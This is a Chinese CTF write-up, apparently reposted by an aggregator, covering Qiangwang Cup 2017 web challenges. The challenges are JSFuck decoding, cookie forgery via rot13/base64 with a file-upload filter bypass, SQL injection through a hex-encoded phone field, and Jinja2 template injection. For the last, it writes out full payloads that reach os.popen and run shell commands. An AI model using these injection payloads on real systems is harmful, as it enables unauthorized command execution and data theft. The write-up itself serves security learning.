5

强网杯 CTF 2017 Writeup

 2 years ago
source link: http://ultramangaia.github.io/blog/2017/%E5%BC%BA%E7%BD%91%E6%9D%AF-ctf-2017.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

broken

Jsfuck
直接console中跑发现报错

后面加个]

看到最后面的(),应该是函数调用,去掉

who are you?

设置cookie

还是没有权限,从cookie入手,base64解码

thrfg怎么看都没意义,后来想到rot13

嗯,改guest为admin,rot13->base64


用post上传,指定filename和data。
尝试上传php木马,发现会检测左尖括号。

尝试绕过无果,后来想到检测左尖括号可能可以用数组绕过

直接给flag

phone number

逻辑就是注册账号包括手机号信息,登录,check有多少个具有相同手机号的账号。
看到check页面中,

admin的电话藏有大秘密。
尝试账号密码注入失败,结合题目,应该是通过手机号注入的。
提交一般字符串,提示

,后面发现提交0e科学计数法和0x的hex编码可以绕过,insert点在注册的手机号这里,
输出点在check页面,可以insert注入。


而且是union注入。


数据库名webdb


表名为user


发现没有返回列名,然后看到

原来长度有限制,简化下


得到列名id,username,phone,password

拿数据,得flag.

Musee de X

scimg.jb51.net/allimg/150811/14-150Q1142KAF.jpg
报错信息中发现有jinja2

直接搜索python SSTI找到

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()}}

这水印输出字符长度有限制。

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59]}}

找到catch_warnings类了

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59] .\_\_init\_\_.func\_globals['linecache'].\_\_dict\_\_['o'+'s'].\_\_dict\_\_['pop'+'en']('ls').read()}}

发现flag文件,已经发现水印输出中过滤了一些字符,可以猜测flag文件名为flag_8d294abea9f0,额,不用猜直接flag*。

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59] .\_\_init\_\_.func\_globals['linecache'].\_\_dict\_\_['o'+'s'].\_\_dict\_\_['pop'+'en']('cat flag\_\*').read()}}

额,看不全,找张大图
http://pic1.win4000.com/wallpaper/d/58c0f570b231b.jpg

flag{06015a4f-8d29-4abe-a9f0-e1cb18911671}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK